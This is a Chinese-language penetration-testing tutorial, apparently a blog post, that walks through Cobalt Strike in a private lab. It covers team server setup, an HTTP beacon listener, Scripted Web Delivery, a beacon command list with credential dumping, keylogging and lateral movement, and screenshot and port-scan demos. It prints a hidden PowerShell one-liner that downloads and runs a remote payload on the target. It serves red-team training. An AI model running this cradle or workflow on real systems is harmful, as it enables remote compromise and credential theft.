148.网络安全渗透测试—[Cobalt Strike系列]—[HTTP Beacon基础使用/脚本web传递/屏幕截图/端口扫描]
我认为:无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
一、Cobalt Strike基本使用
1、Cobalt Strike简介
(1)官方主页:https://www.cobaltstrike.com/
(2)Cobalt Strike:是一款基于C/S架构(客户端/服务器)的商业渗透软件,适合多人进行团队协作,可模拟APT做模拟对抗、内网渗透等等。
(3)Cobalt Strike功能:是一款基于GUI(图形用户界面)的框架式渗透工具,集成了端口转发、服务扫描、自动化溢出、多模式端口监听、Windows的exe木马生成、Windows的dll木马生成、java木马生成、office宏病毒生成、木马捆绑、钓鱼攻击等等(钓鱼攻击包括:站点克隆、目标信息获取、java执行、浏览器自动攻击等等)。
2、Cobalt Strike(CS)整体框架图
客户端 Client | 服务器 Team Server | 攻击目标 Target_x |
---|---|---|
攻击者团队成员使用的图形化界面 | 可以设置监听器(端口监听)、生成payload攻击载荷(会在服务器设置的监听端口上提供攻击代码下载)、Team Server 日志记录保存在logs文件夹、支持团队协同操作等等 | 靶机通过Team Server提供的payload攻击载荷下载攻击代码 |
二、Cobalt Strike简单使用
1、实验坏境
Client | Team Server | Target_x |
---|---|---|
攻击者团队成员1:Windows7(安装了jre8的java开发跨平台) | 团队服务器:Kali Linux | 靶机1:Windows Server 2008 |
IP:192.168.97.130/24 | IP:192.168.97.129/24 | IP:192.168.97.131/24 |
2、实验过程
(1)如何在Kali Linux上创建Team Server团队服务器?
创建团队服务器语法:./teamserver <host> <password>
host是当前团队服务器的IP地址
password是分配给攻击者团队成员的密码
//如下图所示:成功的在Kali Linux开启了Team Server团队服务器,IP地址是本地的IP,密码是自定义的,成功后显示50050端口开启,该端口对应的就是团队服务器的服务。
(2)如何让本地和攻击者团队成员连接到Team Server团队服务器?
Linux本地连接方式:./cobaltstrike
//如下图所示:我们在团队服务器上进行本地连接,Host填写团队服务器IP,Port填写团队服务器的默认端口50050,User自定义,密码是刚刚设置的123456
Windows攻击者团队成员连接方式:双击cobaltstrike.bat
//如下图所示:主机填写Team Server团队服务器的IP地址,端口默认是50050,用户名自定义,密码是团队服务器开启时候给分配的123456。
(3)如何让靶机目标连接上Team Server团队服务器?
第一步:团队服务器上设置listener监听器
//如下图所示:我们设置名为beacon_http_1监听器,开启监听9999端口
第二步:团队服务器生成payload攻击载荷
//如下图所示:我们一般点击Attacks选项卡,然后选择Web Drive-by,最后点击Scripted Web Delivery脚本web传递,其中url它是个文件路径,Host是Team Server的IP,端口是Web服务的端口,powershell是攻击代码类型,其作用就是让目标(靶机)通过这个地址和80端口下载恶意脚本powershell。
//如下图所示:是生成的payload攻击载荷
//特别注意:该payload攻击载荷要保存下来
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.97.129:80/a'))"
第三步:目标靶机运行payload攻击载荷
靶机运行:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.97.129:80/a'))"
//如下图所示:这份代码是powershell下运行的,会加载到内存执行。
(4)如何判断靶机以上线?
//如下图所示:我们通过视图和日志,可以看到靶机192.168.97.131已上线
(5)测试功能:屏幕截图和端口扫描
第一步:右键视图下的靶机,点击进入beacon
第二步:进入beacon后,输入help命令,查看具体的使用方法
beacon> help
Beacon Commands
===============
Command Description
------- -----------
argue 进程参数欺骗
blockdlls 阻止子进程加载非Microsoft DLL
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC提升权限
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peer over TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程桌面(VNC)
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 使用exp
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 终止beacon会话
getprivs Enable system privileges on current token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在注入进程生成会话
jobkill 结束一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use Apply 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peer over a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID for spawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以其他用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program under another PID
screenshot 屏幕截图
setenv 设置环境变量
shell 执行cmd命令
shinject 将shellcode注入进程
shspawn 启动一个进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件的时间戳应用到另一个文件
unlink Disconnect from parent Beacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM横向渗透
wmi 使用WMI横向渗透
第三步:进行屏幕截图(执行速度较快)
beacon> screenshot
//如下图所示,截图的内容保存到了Team Server下的logs日志目录下
第四步:进行端口扫描(执行速度较慢)
beacon> portscan 192.168.97.131 1-1024,3389 arp 1024
//arp后面的1024是扫描线程
//扫描结果如下图所示:
相关文章
- 网络安全-HSRP协议
- 计算机网络安全基础知识1:渗透测试,网络连接的核心TCP/IP体系结构,公网,内网,ip地址和端口
- 【网络安全】你应该知道的几个网络安全概念
- Linux Command hping3 测试网络安全工具
- 入门网络安全测试,这些概念名词要记住
- 网络安全系列-十九:使用Pcap4J读取pcap包内容并转换为hex显示
- 网络安全系列-III: Win10下安装scapy及简单的网络扫描测试
- 网络安全——子域名收集
- 《网络安全测试实验室搭建指南》目录—导读
- 入门网络安全,成为真正的黑客
- 【网络安全】你必须知道的几个网络安全概念,(入门版黑k)
- 网络安全的重点在于安全意识的提高
- 西媒:勒索病毒带火网络安全公司 大多是美企
- 库克婉拒网络安全听证会邀请 议员麦凯恩:我本可不用这么客气
- 信息网络安全公安部重点实验室2017年度开放课题指南
- 【网络安全】Nessus漏洞扫描器的安装和使用
- 【网络安全】渗透测试之木马免杀
- 捷越:首部网络安全法通过 互金平台安全受保障
- 携手应对网络安全新挑战